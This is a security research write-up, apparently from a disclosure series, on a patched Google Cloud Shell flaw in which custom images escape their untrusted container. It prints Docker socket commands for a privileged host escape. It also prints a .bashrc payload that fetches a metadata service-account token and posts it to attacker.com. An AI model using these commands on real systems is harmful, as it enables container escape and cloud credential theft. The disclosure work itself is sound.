- Bug #1 – The Python language server
- Bug #2 – A custom Cloud Shell image (this page)
- Bug #3 – Git clone
- Bug #4 – Go and get pwned
Note: The vulnerabilities that are discussed in this series of posts and in LiveOverflow‘s video were patched quickly and properly by Google (a long time ago). We support responsible disclosure.
Bug #2 – A custom Cloud Shell image
The Cloud Shell presented to you by default is based on a Debian 9 Stretch Docker image. This image contains the most popular tools and is stored in Google’s Cloud Repository at http://gcr.io/cloudshell-images/cloudshell:latest.
If a user has special needs it can replace the Debian Cloud Shell image and launch a custom image. For example, if you wish to use a Terraform image for infrastructure provision, you can replace the Debian image with the Terraform image under the Cloud Shell Environment settings.
Another way to automatically boot a custom Docker image is by providing the ‘cloudshell_image’ GET-parameter, as such: https://ssh.cloud.google.com/cloudshell/editor?cloudshell_image=gcr.io/google/ruby
The trusted environment
Google makes a distinction between the default image and custom images. A container running the default image comes with your home folder mounted to /home/username. Furthermore upon boot it provisions your gcloud client with credentials.
When launching a custom image from an untrusted third party this might introduce a security risk. What if a custom image contains malicious code and tries to access your GCP resources?
Google therefore introduced ‘trusted’ and ‘untrusted’ mode. The only image that is automatically runs in trusted mode is ‘gcr.io/cloudshell-images/cloudshell:latest’. When booting a custom image in untrusted mode, the container is provisioned with a scratch home directory mounted to /home/user that is empty and deleted on end. Furthermore there are no credentials attached to the gcloud client and you can not query the metadata instance on metadata.google.internal to obtain a bearer token.
Escaping the untrusted environment
We have already learned how we can escape to the host from the default Cloud Shell in the general introduction of this series of posts. We again paste the following lines of code.
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name LiveOverflow-container -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///google/host/var/run/docker.sock start LiveOverflow-container sudo docker -H unix:///google/host/var/run/docker.sock exec -it LiveOverflow-container /bin/sh
At this point we have a shell on the host. We change the root by chrooting into /rootfs with ‘chroot /rootfs’. After searching the filesystem it became apparent that the host instance was in a different state then expected. While the container hosting the custom Docker image had a empty /home/user folder attached to it, the ‘dmesg’ and ‘mount’ command clearly show that the persistent disk containing the home folder of the user is still attached to the underlying instance!
With the above knowledge any attacker can now build a malicious Docker image. This malicious Docker image can use the same technique as displayed above to escape to the host istance when booted. After escaping to the host the malicious image can steal contents from the user’s home folder.
Furthermore an attack can write arbitrary contents to the user’s home folder in an attempt to steal credentials, for example by adding the following code to ‘/var/google/devshell-home/.bashrc’
curl -H"Metadata-flavor: Google" http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token > /tmp/token.json curl -X POST -d@/tmp/token.json https://attacker.com/api/tokenupload